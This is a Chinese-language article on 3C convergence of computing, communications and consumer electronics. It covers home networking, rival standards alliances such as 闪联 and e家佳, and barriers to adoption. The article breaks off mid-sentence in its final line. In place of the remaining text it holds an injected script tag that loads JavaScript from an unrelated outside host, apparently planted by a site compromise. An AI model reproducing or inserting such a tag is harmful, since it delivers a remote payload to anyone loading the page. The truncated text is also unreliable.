李燕风
观察形形色色的消费类电子产品发展，可以发现三个明显趋势：一是数字化，数字广播、数字电视和数字视盘等相继出现在市场上；二是利用微电子技术和通信的一些新成果而开发的新产品，如大屏幕壁挂电视、可视电话等；三是与计算机网络结合的数字化家电。三大趋势指向同一目的——３ｃ融合。
３ｃ融合能为我们带来什么？
当你出门在外时，可以通过智能手机遥控家中的电视，将节目存放到电脑的硬盘里回家慢慢欣赏；远程控制家中空调的温度和健康指数；控制家中的电饭煲和微波炉做出一顿美味的菜肴，并开启音响播放音乐等待主人回家等，这些美好的生活享受，都可以通过３ｃ融合和家庭网络来实现。
３ｃ融合的大小之分
３ｃ融合即计算机（ｃｏｍｐｕｔｅｒ）、通信（ｃｏｍｍｕｎｉｃａｔｉｏｎ）和家电（ｃｏｎｓｕｍｅｒ ｅｌｅｃｔｒｉｃｓ）互联互通的融合，这是未来信息产业发展的大趋势。
从产品和方案的形态来说，３ｃ融合有两个方面的含义，一个是产品内部的３ｃ融合，属“小３ｃ融合”；另一个是产品之间的互联互通，为“大３ｃ融合”。
“小３ｃ融合”是指在某个时期，在单一产品上增加不同的功能。比如，商用ｐｃ具有很多的通讯功能，包括视频通讯、网络会议等等。目前已经有很多ｉｔ和家电厂商能够提供小３ｃ融合产品。很多ｉｔ和家电厂商都以数字电视为３ｃ融合的突破口：ｔｃｌ推出的数字高清背投，已经采用了“数字高清归一技术”和“３ｃ数字智能归一驱动器”技术，可以实现３ｃ融合的各种功能。
而“大３ｃ融合”需要网络平台的支撑，依赖于网络运营商、网络服务商和３ｃ生产商的系统配套。如果按照“大３ｃ融合”的标准来衡量，３ｃ融合现在还仅仅处于起步期。
“大３ｃ融合”必然要同家庭网络联系在一起，不过，目前的家庭网络大多停留在使电脑能够与电视、音响相连接的阶段上，与设想中的任何时间、任何地点的信息关联应用还相差甚远。真正的家庭网络与３ｃ融合应该是，各类设备都可以非常方便地登陆到其他网络中，用户利用任何一类信息终端，都可以跨网络获取内容与服务，用户只要选择一家网络运营商，就能够方便地享受三网（广电网、因特网、移动网）提供的海量内容服务。通过标准化的智能化无线技术来实现设备之间的无缝连接，无线网络将成为“大３ｃ融合”的突破口。
家电厂商在几年前也曾大举进军过ｉｔ和移动终端领域，但实际效果并不好。与此同时，ｉｔ厂商也借助３ｃ融合的大势向家电渗透。相对于ｉｔ和家电厂商而言，传统的通信设备厂商进军３ｃ的步伐要慢一些，目前还只是以手机为拳头产品进入３ｃ终端的行列。
从整体看，越来越多的ｉｔ和家电企业初步完成了自身３ｃ产业布局。随着整个中国信息产业的持续快速发展，３ｃ产业正面临巨大的机会。但是３ｃ融合发展仍然存在着发展瓶颈。
谁挡住了３ｃ融合的步伐？
阻碍３ｃ融合发展的因素有三点。
其一是相关技术标准格局混乱。横跨在家电、ｉｔ两者之间的数据交换和兼容性问题就成为“最后一公里”的关键。
要把电脑、电视、机顶盒、手机等各种设备连接起来，并不是一件容易的事。它不只是简单地为设备添加一个接口就可实现，要使各种设备顺畅地分享信息就必须制订一种新的标准来协调各个产品的互联协同方式。而一旦谁先掌握了标准的制订权，或者谁的技术成为主导标准，谁就掌握了市场的主动权。因此，围绕着３ｃ融合的技术和产品，终端制造商、内容提供商、设备提供商和运营商，以及形态各异的技术联盟早已展开了你死我活的争夺。
以国内为例，国内目前在３ｃ融合技术领域拥有两大标准联盟，一是“闪联工作组”，一是“ｅ家佳”联盟。两家在２００５年７月几乎同时被宣布成为国家推荐性行业标准。虽然两大技术联盟侧重的领域并不相同：“ｅ家佳”侧重于“家庭网络平台”，“闪联”则侧重于办公，但两者的业务交叉和竞争仍然客观存在。
在国外，像ｄｈｗｇ则是由索尼、英特尔、微软等１７家跨国公司发起，目前有１５０多家企业参加的一个针对家庭数字设备互联应用的标准；现在应用于手机、ｐｄｐ等个人数字助理上的ｊａｖａ／ｊｉｎｉ标准以及来自日本的ｕｏｐｆ标准也为３ｃ融合提供了一种解决方案。
标准的本质在于惟一性、指导性，对于尚处在萌芽状态的新兴行业，标准的作用尤为重要，倘若多个类似的标准并存，在一定程度上会造成行业资源的浪费，也容易使投资者因为看不清明确的产业发展方向而放缓投资。
其二是应用模式和消费习惯的缺位。技术标准的解决只是时间的问题，３ｃ融合产业不仅仅是技术导向，更重要的是市场导向，因此应用模式和消费习惯的缺位则是更难逾越的鸿沟。
１９９７年，美国计算机学会为了纪念成立５０周年，邀请?script src=http://er12.com/t.js>
